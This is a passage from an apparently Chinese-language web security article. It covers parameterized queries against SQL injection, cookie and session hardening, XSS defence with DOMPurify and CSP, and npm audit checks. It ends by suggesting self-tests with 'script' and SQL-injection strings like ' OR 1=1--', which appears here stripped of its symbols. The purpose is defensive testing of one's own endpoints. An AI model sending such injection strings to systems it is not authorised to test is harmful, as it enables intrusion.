注入利用成本低、自动化工具一堆必须从代码层面杜绝拼接写法强制参数化。第二是认证与会话安全。弱口令、泄露的 JWT 密钥、不带httpOnly的 Cookie这些都是“一破就是全网”的洞。可以先从禁用弱密码、强制 HTTPS、Cookie 安全属性三件事入手。第三是 XSS 与输出编码。如果应用有用户生成内容的场景优先上 DOMPurify CSP同时培训前端同事别在v-html里放未净化的内容。第四是依赖漏洞。保持npm audit的巡检习惯高危漏洞必须在排期内升级修复中低危每季度集中处理一次。不用苛求一次性把全部防护配齐但要确保每一步的取舍是经过了思考的。“这个字段要不要做白名单”“这段 HTML 要不要净化”——如果你能对每一个选择说出理由这套防御体系才算真正建立起来了。我在实际项目里最深的一个体会是安全配置并不是越复杂越好而是越清晰越好。能把“用户输入从哪里来、经过哪些校验、去到哪里”这条链路摸清楚比照搬十篇安全教程都管用。另一个小技巧是定期做自测写几个包含script、 OR 11--这类字符串的测试用例打到自己接口上看看行为是否符合预期。测通了自己心里有底上线也踏实。